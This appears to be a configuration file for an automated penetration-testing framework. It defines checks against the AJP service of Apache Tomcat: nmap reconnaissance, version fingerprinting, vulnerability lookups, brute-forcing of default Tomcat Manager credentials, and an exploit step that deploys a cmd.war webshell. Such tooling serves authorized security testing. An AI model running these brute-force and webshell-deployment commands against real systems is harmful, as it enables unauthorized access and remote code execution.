#########################################################################################
# AJP Settings
#########################################################################################

[config]
default_port = 8009
protocol	 = tcp
categories 	 = recon, vulnlookup, defaultcreds, exploit

[products]
ajp-server =
	Apache/Jserv,
	Apache/Tomcat


#########################################################################################
# Recon
#########################################################################################
[check_nmap-recon]
name        = nmap-recon
category    = recon
description = Recon using Nmap AJP scripts
tool        = nmap
command_1   = sudo nmap -sT -sV -Pn -vv -p [PORT] --script='ajp-auth,ajp-headers,ajp-methods,ajp-request' --stats-every 10s [IP]

[check_tomcat-version]
name        = tomcat-version
category    = recon
description = Fingerprint Tomcat version through AJP
tool        = ajpy
command_1   = python2.7 tomcat.py -v --port [PORT] version [IP]


#########################################################################################
# Vulnlookup
#########################################################################################
# [check_vuln-lookup]
# name        = vuln-lookup
# category    = vulnscan
# description = Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !)
# tool        = vuln-databases
# command_1   = sudo nmap -sT -sV -T5 -Pn -p [PORT] --script nmap-vulners/vulners.nse --script-args vulscandb=scipvuldb.csv [IP] -oX /tmp/nmaptmp.xml; ./exploit-database/searchsploit --nmap /tmp/nmaptmp.xml; rm -f /tmp/nmaptmp.xml

[check_vulners-lookup]
name        = vulners-lookup
category    = vulnlookup
description = Vulnerabilities lookup on Vulners.com (requires product name+version)
tool        = vulners-lookup
apikey      = vulners
command_1   = python3 vulners-lookup.py --apikey [APIKEY name="vulners"] '[AJP-SERVER-VENDOR] [AJP-SERVER-NAME] [AJP-SERVER-VERSION]'
context_1   = { 'ajp-server': 'any|version_known' }

[check_cvedetails-lookup]
name        = cvedetails-lookup
category    = vulnlookup
description = Vulnerabilities lookup on Cvedetails.com (requires product name+version)
tool        = cvedetails-lookup
command_1   = python3 cvedetails-lookup.py --vendor "[AJP-SERVER-VENDOR]" --product "[AJP-SERVER-NAME]" --version "[AJP-SERVER-VERSION]"
context_1   = { 'ajp-server': 'any|version_known' }


#########################################################################################
# Defaultcreds
#########################################################################################
[check_default-creds-tomcat]
name        = default-creds-tomcat
category    = defaultcreds
description = Check default credentials for Tomcat Application Manager through AJP
tool        = ajpy
command_1   = python2.7 tomcat.py -v --port [PORT] bf -U "[USERLIST default="services/http/creds/app-servers/tomcat-usernames.txt"]" -P "[PASSLIST default="services/http/creds/app-servers/tomcat-passwords.txt"]" /manager/html [IP]
context_1   = { 'auth_status': NO_AUTH }
command_2   = echo '[USERNAME]' > /tmp/ajpyuser.txt; python2.7 tomcat.py -v --port [PORT] bf -U /tmp/ajpyuser.txt -P "[PASSLIST default="services/http/creds/app-servers/tomcat-passwords.txt"]" /manager/html [IP]; rm /tmp/ajpyuser.txt
context_2   = { 'auth_status': USER_ONLY }


#########################################################################################
# Exploit
#########################################################################################
[check_deploy-webshell-tomcat]
name        = deploy-webshell-tomcat
category    = exploit
description = Deploy a webshell on Tomcat through AJP and list applications
tool        = ajpy
command_1   = python2.7 tomcat.py -v --port [PORT] upload -u '[USERNAME]' -p '[PASSWORD]' "[WEBSHELLSDIR]/cmd.war" [IP]
context_1   = { 'auth_status': POST_AUTH }
command_2   = python2.7 tomcat.py -v --port [PORT] list -u '[USERNAME]' -p '[PASSWORD]' [IP]
context_2   = { 'auth_status': POST_AUTH }
